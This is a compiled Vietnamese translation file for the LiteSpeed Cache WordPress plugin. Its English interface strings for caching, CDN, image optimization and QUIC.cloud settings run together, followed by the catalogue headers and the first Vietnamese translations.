Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.If comment to be kept is like: %1$s write: %2$sIf every web application uses the same cookie, the server may confuse whether a user is logged in or not.If only the WordPress site should be purged, use Purge All.If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.If set to %s this is done in the foreground, which may slow down page load.If the category name is not found, the category will be removed from the list on save.If the login cookie was recently changed in the settings, please log out and back in.If the tag slug is not found, the tag will be removed from the list on save.If this is set to a number less than 30, feeds will not be cached.If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.If you are using a %1$s socket, %2$s should be set to %3$sIf you run into any issues, please refer to the report number in your support message.If you turn any of the above settings OFF, please remove the related file types from the %s box.If you would rather not move at litespeed, you can deactivate this plugin.If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.Iframes containing these class names will not be lazy loaded.Iframes having these parent class names will not be lazy loaded.Ignore certain query strings when caching. (LSWS %s required)Image InformationImage OptimizationImage Optimization SettingsImage Optimization SummaryImage Thumbnail Group SizesImage groups totalImages PulledImages containing these class names will not be lazy loaded.Images having these parent class names will not be lazy loaded.Images not requestedImages notified to pullImages optimized and pulledImages ready to requestImages requestedImages will be pulled automatically if the cron job is running.ImportImport / ExportImport SettingsImport failed due to file error.Imported setting file %s successfully.Improve HTTP/HTTPS CompatibilityImprove wp-admin speed through caching. (May encounter expired data)Improved byIn order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.In order to use QC services, need a real domain name, cannot use an IP.In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it.Include CSSInclude File TypesInclude ImagesInclude JSInclude external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.Included DirectoriesInline CSS Async LibInline CSS added to CombineInline JS added to CombineInline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.InstallInstall %sInstall DoLogin SecurityInstall NowInstant ClickInvalid IPInvalid login cookie. Invalid characters found.Invalid login cookie. Please check the %s file.Invalid rewrite ruleIt is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first.It will be converted to a base64 SVG placeholder on-the-fly.JS CombineJS Combine External and InlineJS Defer for both external and inline JSJS Deferred / Delayed ExcludesJS DelayedJS Delayed IncludesJS ExcludesJS MinifyJS SettingsJS error can be found from the developer console of browser by right clicking and choosing Inspect.Join LiteSpeed Slack communityJoin Us on SlackJoin the %s community.Keep this off to use plain color placeholders.LQIPLQIP CacheLQIP Cloud GeneratorLQIP ExcludesLQIP Minimum DimensionsLQIP QualityLQIP image preview for size %sLQIP requests will not be sent for images where both width and height are smaller than these dimensions.LSCacheLSCache caching functions on this page are currently unavailable!Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.Larger thanLast PullLast PulledLast Report DateLast Report NumberLast RequestLast calculatedLast complete run time for all crawlersLast exportedLast generatedLast importedLast intervalLast pull initiated by cron at %s.Last ranLast requested costLazy Load Iframe Class Name ExcludesLazy Load Iframe Parent Class Name ExcludesLazy Load IframesLazy Load Image Class Name ExcludesLazy Load Image ExcludesLazy Load Image Parent Class Name ExcludesLazy Load ImagesLazy Load URI ExcludesLazy Load for IframesLazy Load for ImagesLearn MoreLearn More about QUIC.cloudLearn moreLearn more about when this is neededLearn more or purchase additional quota.Link & Enable QUIC.cloud CDNLink to QUIC.cloudLinked to QUIC.cloud preview environment, for testing purpose only.List of Mobile User AgentsList post types where each item of that type should have its own CCSS generated.List the CSS selectors whose styles should always be included in CCSS.List the CSS selectors whose styles should always be included in UCSS.Listed CSS files will be excluded from UCSS and saved to inline.Listed IPs will be considered as Guest Mode visitors.Listed JS files or inline JS code will be delayed.Listed JS files or inline JS code will not be deferred or delayed.Listed JS files or inline JS code will not be optimized by %s.Listed URI will not generate UCSS.Listed User Agents will be considered as Guest Mode visitors.Listed images will not be lazy loaded.LiteSpeed CacheLiteSpeed Cache CDNLiteSpeed Cache Configuration PresetsLiteSpeed Cache CrawlerLiteSpeed Cache DashboardLiteSpeed Cache Database OptimizationLiteSpeed Cache General SettingsLiteSpeed Cache Image OptimizationLiteSpeed Cache Network Cache SettingsLiteSpeed Cache Page OptimizationLiteSpeed Cache Purge AllLiteSpeed Cache SettingsLiteSpeed Cache Standard PresetsLiteSpeed Cache ToolboxLiteSpeed Cache View .htaccessLiteSpeed Cache plugin is installed!LiteSpeed Crawler CronLiteSpeed LogsLiteSpeed OptimizationLiteSpeed ReportLiteSpeed TechnologiesLiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.Load CSS AsynchronouslyLoad Google Fonts AsynchronouslyLoad JS DeferredLoad iframes only when they enter the viewport.Load images only when they enter the viewport.LocalizationLocalization FilesLocalization SettingsLocalize ResourcesLocalize external resources.Localized ResourcesLog File Size LimitLog ViewLogin CookieLow Quality Image PlaceholderMBManageManually added to blocklistManually runMapMark this page as Maximum image post idMaximum valueMaybe LaterMaybe laterMedia ExcludesMedia SettingsMessage from QUIC.cloud serverMethodMinify CSS files and inline CSS code.Minify HTML content.Minify JS files and inline JS codes.Minimum valueMissMobileMobile Agent RulesMobile CacheMonthly archiveMoreMore information about the available commands can be found here.More settingsMore settings available under %s menuMy QUIC.cloud DashboardNOTENOTICENOTICE:NOTICE: Database login cookie did not match your login cookie.Network DashboardNetwork Enable CacheNew Developer Version Available!New Version Available!New developer version %s is available now.New release %s is available now.NewsNext-Gen Image FormatNo available Cloud Node after checked server load.No available Cloud Node.No available Cloudflare zoneNo backup of original file exists.No backup of unoptimized AVIF file exists.No backup of unoptimized WebP file exists.No cloud services currently in useNo crawler meta file generated yetNo optimizationNo valid image found by Cloud server in the current request.No valid image found in the current request.No valid sitemap parsed for crawler.Non cacheableNot AvailableNot blocklistedNoteNotesNoticeNotificationsNotified Cloudflare to purge all successfully.Notified Cloudflare to set development mode to %s successfully.Notified LiteSpeed Web Server to purge CSS/JS entries.Notified LiteSpeed Web Server to purge all LSCache entries.Notified LiteSpeed Web Server to purge all pages.Notified LiteSpeed Web Server to purge error pages.Notified LiteSpeed Web Server to purge everything.Notified LiteSpeed Web Server to purge the front page.Notified LiteSpeed Web Server to purge the list.OFFONORObjectObject CacheObject Cache SettingsObject cache is not enabled.Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding.Once saved, it will be matched with the current list and completed automatically.One or more pulled images does not match with the notified image md5One per line.Online ServicesOnline node needs to be redetected.Only attributes listed here will be replaced.Only available when %s is installed.Only files within these directories will be pointed to the CDN.Only log listed pages.Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.Only press the button if the pull cron job is disabled.Opcode CacheOpenLiteSpeed users please check thisOperationOptimization StatusOptimization SummaryOptimization ToolsOptimize CSS delivery.Optimize LosslesslyOptimize Original ImagesOptimize TablesOptimize all tables in your databaseOptimize for Guests OnlyOptimize images and save backups of the originals in the same folder.Optimize images using lossless compression.Optimize images with our QUIC.cloud serverOptimized all tables.Option NameOptionalOptional when API token used.Optionally creates next-generation WebP or AVIF image files.Options saved.OrigOrig %sOrig saved %sOriginal URLsOriginal file reduced by %1$s (%2$s)Orphaned Post MetaOther Static CDNOther checkboxes will be ignored.Outputs to a series of files in the %s directory.PAYG BalancePHP Constant %s is supported.Page Load TimePage OptimizationPageSpeed ScorePagesPartner Benefits Provided byPassedPasswordPasswordless LinkPath must end with %sPaths containing these strings will be cached regardless of no-cacheable settings.Paths containing these strings will be forced to public cached regardless of no-cacheable settings.Paths containing these strings will not be cached.Paths containing these strings will not be served from the CDN.Pay as You GoPay as You Go Usage StatisticsPersistent ConnectionPlease consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:Please do NOT share the above passwordless link with anyone.Please enable LiteSpeed Cache in the plugin settings.Please enable the LSCache Module at the server level, or ask your hosting provider.Please make sure this IP is the correct one for visiting your site.Please read all warnings before enabling this option.Please see %s for more details.Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.Please thoroughly test all items in %s to ensure they function as expected.Please thoroughly test each JS file you add to ensure it functions as expected.Please try after %1$s for service %2$s.PortPost IDPost RevisionsPost type archivePreconnecting speeds up future loads from a given origin.Predefined list will also be combined w/ the above settingsPrefetching DNS can reduce latency for visitors.Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.Preserve EXIF/XMP dataPresetsPress the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.Prevent Google Fonts from loading on all pages.Prevent any debug log of listed pages.Prevent any lazy load of listed pages.Prevent any optimization of listed pages.Prevent writing log entries that include listed strings.Previous request too recent. Please try again after %s.Previous request too recent. Please try again later.Previously existed in blocklistPrivatePrivate CachePrivate Cached URIsPrivate cachePrivately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)Privately cache frontend pages for logged-in users. (LSWS %s required)Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality.Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee.Product Update IntervalProvides <strong>security at the CDN level</strong>, protecting your server from attack.PublicPublic CachePull Cron is runningPull ImagesPulled AVIF image md5 does not match the notified AVIF image md5.Pulled WebP image md5 does not match the notified WebP image md5.PurgePurge %s ErrorPurge %s error pagesPurge AllPurge All HooksPurge All On UpgradePurge By...Purge EverythingPurge Front PagePurge ListPurge LogPurge PagesPurge SettingsPurge all object caches successfully.Purge all the object cachesPurge categories only when stock status changes.Purge category %sPurge pages by category name - e.g. %2$s should be used for the URL %1$s.Purge pages by post ID.Purge pages by relative or full URL.Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.Purge product and categories only when the stock status changes.Purge product on changes to the quantity or stock status.Purge product only when the stock status changes.Purge tag %sPurge the LiteSpeed cache entries created by this pluginPurge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP cachesPurge this pagePurge url %sPurged All!Purged all caches successfully.Purged the blog!Purged!Pushed %1$s to Cloud server, accepted %2$s.QUIC.cloudQUIC.cloud CDN OptionsQUIC.cloud CDN Status OverviewQUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users.QUIC.cloud CDN is currently <strong>fully disabled</strong>.QUIC.cloud Integration DisabledQUIC.cloud Integration EnabledQUIC.cloud Integration Enabled with limitationsQUIC.cloud Online ServicesQUIC.cloud Service Usage StatisticsQUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.QUIC.cloud's Image Optimization service does the following:QUIC.cloud's Online Services improve your site in the following ways:QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores.QUIC.cloud's access to your WP REST API seems to be blocked.Query strings containing these parameters will not be cached.Rate %1$s on %2$sRead LiteSpeed DocumentationRecommended to generate the token from Cloudflare API token template "WordPress".Recommended value: 28800 seconds (8 hours).RedetectRedetected nodeRedis Database IDRedis encountered a fatal error: %1$s (code: %2$d)RefreshRefresh Crawler MapRefresh Gravatar cache by cron.Refresh QUIC.cloud statusRefresh StatusRefresh UsageRefresh page load timeRefresh page scoreRegenerate and Send a New ReportRemaining Daily QuotaRemove CDN URLRemove Google FontsRemove Noscript TagsRemove Original BackupsRemove Original Image BackupsRemove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first.Remove Query StringsRemove Query Strings from Static FilesRemove WordPress EmojiRemove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.Remove all previous unfinished image optimization requests.Remove cookie simulationRemove from BlocklistRemove query strings from internal static resources.Removed Unused CSS for UsersRemoved backups successfully.Replace %1$s with %2$s.ReportRequest WebP/AVIF versions of original images when doing optimization.Requests in queueRescan New ThumbnailsRescanned %d images successfully.Rescanned successfully.Reset %s activation successfully.Reset All SettingsReset SettingsReset image optimization counter successfully.Reset positionReset successfully.Reset the entire opcode cacheReset the optimized data successfully.Resources listed here will be copied and replaced with local URLs.Responsive PlaceholderResponsive Placeholder ColorResponsive Placeholder SVGResponsive image placeholders can help to reduce layout reshuffle when images are loaded.Restore SettingsRestore from backupRestored backup settings %1$sRestored original file successfully.Revisions Max AgeRevisions Max NumberRevisions newer than this many days will be kept when cleaning revisions.Role ExcludesRole SimulationRun %s Queue ManuallyRun FrequencyRun Queue ManuallyRun frequency is set by the Interval Between Runs setting.Run time for previous crawlerRunningSYNTAX: alphanumeric and "_". No spaces and case sensitive.SYNTAX: alphanumeric and "_". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS.Save ChangesSave transients in database when %1$s is %2$s.SavedSaving option failed. IPv4 only for %s.Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.Scheduled Purge TimeScheduled Purge URLsSelect "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.Select below for "Purge by" options.Select only the archive types that are currently used, the others can be left unchecked.Select which pages will be automatically purged when posts are published/updated.Selected roles will be excluded from all optimizations.Selected roles will be excluded from cache.Selectors must exist in the CSS. Parent classes in the HTML will not work.Send Optimization RequestSend this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.Send to LiteSpeedSend to twitter to get %s bonusSeparate CCSS Cache Post TypesSeparate CCSS Cache URIsSeparate critical CSS files will be generated for paths containing these strings.Serve StaleServe a separate cache copy for mobile visitors.Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes.Server IPServer Load LimitServer variable(s) %s available to override this setting.Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.Set to %1$s to forbid heartbeat on %2$s.Setting Up Custom HeadersSettingsShorten query strings in the debug log to improve readability.Show crawler statusSignificantly improve load time by replacing images with their optimized %s versions.Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.Sitemap ListSitemap TotalSitemap cleaned successfullySitemap created successfully: %d itemsSizeSize list in queue waiting for cronSmaller thanSoft Reset Optimization CounterSome optimized image file(s) has expired and was cleared.Spam CommentsSpecify a base64 image to be used as a simple placeholder while images finish loading.Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.Specify an HTTP status code and the number of seconds to cache that page, separated by a space.Specify an SVG to be used as a placeholder when generating locally.Specify critical CSS rules for above-the-fold content when enabling %s.Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.Specify how long, in seconds, Gravatar files are cached.Specify how long, in seconds, REST calls are cached.Specify how long, in seconds, feeds are cached.Specify how long, in seconds, private pages are cached.Specify how long, in seconds, public pages are cached.Specify how long, in seconds, the front page is cached.Specify the %s heartbeat interval in seconds.Specify the maximum size of the log file.Specify the number of most recent revisions to keep when cleaning revisions.Specify the password used when connecting.Specify the quality when generating LQIP.Specify the responsive placeholder SVG color.Specify the time to purge the "%s" list.Specify which HTML element attributes will be replaced with CDN Mapping.Specify which element attributes will be replaced with WebP/AVIF.Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>.Speed up your WordPress site even further with QUIC.cloud Online Services and CDN.Spread the love and earn %s credits to use in our QUIC.cloud online services.Standard PresetsStarted async crawlingStarted async image optimization requestStatic file type links to be replaced by CDN links.StatusStop loading WordPress.org emoji. Browser default emoji will be displayed instead.Storage OptimizationStore Gravatar locally.Store TransientsSubmit a ticketSuccessfully CrawledSummarySupport forumSure I'd love to review!SwapSwitch back to using optimized images on your siteSwitched images successfully.Switched to optimized file successfully.Sync QUIC.cloud status successfully.Sync credit allowance with Cloud Server successfully.Sync data from CloudSystem InformationTTLTableTagTemporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.Term archive (include category, tag, and tax)TestingThank You for Using the LiteSpeed Cache Plugin!The Admin IP option will only output log messages on requests from admin IPs listed below.The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.The URLs here (one per line) will be purged automatically at the time set in the option "%s".The URLs will be compared to the REQUEST_URI server variable.The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.The above nonces will be converted to ESI automatically.The amount of time, in seconds, that files will be stored in browser cache before expiring.The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.The callback validation to your domain failed due to hash mismatch.The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: The cookie set here will be used for this WordPress installation.The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.The current server is under heavy load.The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.The default login cookie is %s.The environment report contains detailed information about the WordPress configuration.The following options are selected, but are not editable in this settings page.The image compression quality setting of WordPress out of 100.The image list is empty.The latest data file isThe list will be merged with the predefined nonces in your local data file.The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.The network admin selected use primary site configs for all subsites.The network admin setting can be overridden here.The next complete sitemap crawl will start atThe queue is processed asynchronously. It may take time.The selector must exist in the CSS. Parent classes in the HTML will not work.The server will determine if the user is logged in based on the existence of this cookie.The site is not a valid alias on QUIC.cloud.The site is not registered on QUIC.cloud.The user with id %s has editor access, which is not allowed for the role simulator.Then another WordPress is installed (NOT MULTISITE) at %sThere is a WordPress installed for %s.There is proceeding queue not pulled yet.There is proceeding queue not pulled yet. Queue info: %s.These images will not generate LQIP.These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.These settings are meant for ADVANCED USERS ONLY.This action should only be used if things are cached incorrectly.This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.This can improve page loading time by reducing initial HTTP requests.This can improve quality but may result in larger images than lossy compression will.This can improve the page loading speed.This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.This enables the page's initial screenful of imagery to be fully displayed without delay.This is irreversible.This is to ensure compatibility prior to enabling the cache for all sites.This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.This may cause heavy load on the server.This message indicates that the plugin was installed by the server admin.This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.This option can help to correct the cache vary for certain advanced mobile or tablet visitors.This option enables maximum optimization for Guest Mode visitors.This option is bypassed because %1$s option is %2$s.This option is bypassed due to %s option.This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.This option will automatically bypass %s option.This option will remove all %s tags from HTML.This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.This process is automatic.This setting is %1$s for certain qualifying requests due to %2$s!This setting is useful for those that have multiple web applications for the same domain.This setting will edit the .htaccess file.This setting will regenerate crawler list and clear the disabled list!This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.This will Purge Front Page onlyThis will Purge Pages onlyThis will also add a preconnect to Google Fonts to establish a connection earlier.This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?This will clear EVERYTHING inside the cache.This will delete all cached Gravatar filesThis will delete all generated critical CSS filesThis will delete all generated image LQIP placeholder filesThis will delete all generated unique CSS filesThis will delete all localized resourcesThis will disable LSCache and all optimization features for debug purpose.This will disable the settings page on all subsites.This will drop the unused CSS on each page from the combined file.This will enable crawler cron.This will export all current LiteSpeed Cache settings and save them as a file.This will generate extra requests to the server, which will increase server load.This will generate the placeholder with same dimensions as the image if it has the width and height attributes.This will import settings from a file and override all current LiteSpeed Cache settings.This will increase the size of optimized files.This will inline the asynchronous CSS library to avoid render blocking.This will purge all minified/combined CSS/JS entries onlyThis will reset all settings to default settings.This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action.This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.To crawl the site as a logged-in user, enter the user ids to be simulated.To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.To do an exact match, add %s to the end of the URL.To enable the following functionality, turn ON Cloudflare API in CDN Settings.To exclude %1$s, insert %2$s.To generate a passwordless link for LiteSpeed Support Team access, you must install %s.To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.To manage your QUIC.cloud options, go to QUIC.cloud Dashboard.To manage your QUIC.cloud options, go to your hosting provider's portal.To manage your QUIC.cloud options, please contact your hosting provider.To match the beginning, add %s to the beginning of the item.To prevent %s from being cached, enter them here.To prevent filling up the disk, this setting should be OFF when everything is working.To randomize CDN hostname, define multiple hostnames for the same resources.To test the cart, visit the <a %s>FAQ</a>.To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.ToolToolboxTotalTotal ReductionTotal UsageTotal images optimized in this monthTrackbacks/PingbacksTrashed CommentsTrashed PostsTry GitHub VersionTuningTuning SettingsTurn OFFTurn ONTurn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.Turn ON to control heartbeat in backend editor.Turn ON to control heartbeat on backend.Turn ON to control heartbeat on frontend.Turn On Auto UpgradeTurn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.Tweet previewTweet thisUCSS InlineUCSS Selector AllowlistUCSS URI ExcludesURI ExcludesURI Paths containing these strings will NOT be cached as public.URLURL SearchURL list in %s queue waiting for cronUnable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.Unable to automatically add %1$s as a Domain Alias for main %2$s domain.Unique CSSUnknown errorUpdate %s nowUpgradeUpgraded successfully.UsageUse %1$s in %2$s to indicate this cookie has not been set.Use %1$s to bypass UCSS for the pages which page type is %2$s.Use %1$s to bypass remote image dimension check when %2$s is ON.Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.Use %s API functionality.Use CDN MappingUse Network Admin SettingUse Optimized FilesUse Original FilesUse Primary Site ConfigurationUse QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.Use QUIC.cloud online service to generate unique CSS.Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.Use external object cache functionality.Use keep-alive connections to speed up cache operations.Use latest GitHub Dev commitUse latest GitHub Dev/Master commitUse latest GitHub Master commitUse latest WordPress release versionUse original images (unoptimized) on your siteUse the format %1$s or %2$s (element is optional).Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.Useful for above-the-fold images causing CLS (a Core Web Vitals metric).UsernameUsing optimized version of file. VPIValue rangeVariables %s will be replaced with the configured background color.Variables %s will be replaced with the corresponding image properties.Vary CookiesVary GroupVary for Mini CartView %1$s version %2$s detailsView .htaccessView Site Before CacheView Site Before OptimizationViewport ImageViewport Image GenerationViewport ImagesViewport Images CronVisit LSCWP support forumVisit the site while logged out.WARNINGWARNING: The .htaccess login cookie and Database login cookie do not match.WaitingWaiting to be CrawledWant to connect with other LiteSpeed users?Watch Crawler StatusWe are good. No table uses MyISAM engine.We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.WebP file reduced by %1$s (%2$s)WebP saved %sWebP/AVIF Attribute To ReplaceWebP/AVIF For Extra srcsetWelcome to LiteSpeedWhat is a group?What is an image group?When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.When disabling the cache, all cached entries for this site will be purged.When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.When minifying HTML do not discard comments that match a specified pattern.When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images.When this option is turned %s, it will also load Google Fonts asynchronously.When you use Lazy Load, it will delay the loading of all images on a page.Who should use this preset?Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.Wildcard %s supported.With ESI (Edge Side Includes), pages may be served from cache for logged-in users.With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.WooCommerce SettingsWordPress Image Quality ControlWordPress valid interval is %s seconds.WpW: Private Cache vs. Public CacheYearly archiveYou are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard.You can just type part of the domain.You can list the 3rd party vary cookies here.You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.You can request a maximum of %s images at once.You can turn shortcodes into ESI blocks.You can use this code %1$s in %2$s to specify the htaccess file path.You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible.You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.You have too many requested images, please try again in a few minutes.You have used all of your daily quota for today.You have used all of your quota left for current service this month.You just unlocked a promotion from QUIC.cloud!You must be using one of the following products in order to measure Page Load Time:You must set %1$s to %2$s before using this feature.You must set %s before using this feature.You need to activate QC first.You need to set the %1$s first. Please use the command %2$s to set.You need to set the %s in Settings first before using the crawlerYou need to turn %s on and finish all WebP generation to get maximum result.You need to turn %s on to get maximum result.You will be unable to Revert Optimization once the backups are deleted!You will need to finish %s setup to use the online services.Your %s Hostname or IP address.Your API key / token is used to access %s APIs.Your Email address on %s.Your IPYour application is waiting for approval.Your domain has been forbidden from using our services due to a previous policy violation.Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.Your server IPYour site is connected and ready to use QUIC.cloud Online Services.Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features.Zero, orcategoriescookiese.g. Use %1$s or %2$s.https://www.litespeedtech.comhttps://www.litespeedtech.com/products/cache-plugins/wordpress-accelerationjust nowno matter where they live.pixelsprovide more information here to assist the LiteSpeed team with debugging.right nowrunningsecondstagsthe auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.unknownuser agentsPO-Revision-Date: 2025-06-19 15:56:20+0000
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Generator: GlotPress/4.0.1
Language: vi_VN
Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)
%s trướcCòn lại %1$s tệp %2$s trong hàng đợi%1$s là một tính năng trả phí %2$s.Yêu cầu plugin %1$s phiên bản %2$s cho hành động này.%d giờ%d giờ%d phút%d phút%d giây%s tiện ích mở rộngDữ liệu kích hoạt %s đã hết hạn.Không thể đọc được tệp %s.%s tệp không thể ghi được.%s nhóm%s nhóm%s hình ảnh%s hình ảnh%s được khuyến nghị.%s phải được BẬT để cài đặt này hoạt động.(không tiết kiệm)(không tối ưu)(tối ưu)Đường dẫn .htaccess<a href="%1$s" %2$s>Xem chi tiết %3$s phiên bản</a> hoặc <a href="%4$s" %5$s target="_blank">cập nhật ngay</a>.<p>Vui lòng thêm/thay thế các mã sau vào đầu %1$s:</p> %2$s<strong>CSS quan trọng (CCSS)</strong> tải nội dung hiển thị ở trên gấp nhanh hơn và với đầy đủ kiểu dáng.<strong>Tối ưu hóa Ảnh</strong> giúp bạn có kích thước file ảnh nhỏ hơn, truyền tải nhanh hơn.<strong>Chỗ giữ chỗ Ảnh Chất lượng Thấp (LQIP)</strong> mang đến cho hình ảnh của bạn một vẻ ngoài dễ chịu hơn khi nó được tải lười.<strong>Tối ưu hóa Trang</strong> tinh giản các kiểu trang và yếu tố hình ảnh để tải nhanh hơn.<strong>CSS độc nhất (UCSS)</strong> gỡ bỏ các định nghĩa kiểu không sử dụng để tăng tốc độ tải trang tổng thể.<strong>Ảnh Viewport (VPI)</strong> cung cấp một cái nhìn hoàn hảo, đầy đủ ngay trên phần đầu trang.Dọn dẹp tất cả chỉ được thực hiện khi WordPress chạy các hooks.Chỉ số TTL bằng 0 cho biết điều này không được cache.Bản sao lưu của mỗi hình ảnh được lưu trước khi được tối ưu hóa.AJAX Cache TTLAPITệp AVIF giảm %1$s (%2$s)AVIF đã lưu %sTăng tốc, Tối ưu hóa, Bảo vệTăng tốc độ bằng cách lưu trữ Gravatar (Globally Recognized Avatars).Kích hoạtThêm Kích thước bị thiếuThêm URL CDN mớiThêm cookie mới để mô phỏngThêm vào danh sách chặnThêm style cho hình ảnh Lazy-LoadedChỉ IP AdminĐịa chỉ IP của AdminNâng caoNâng cao (Được đề xuất)Cài đặt nâng caoCấp độ nâng cao sẽ ghi lại 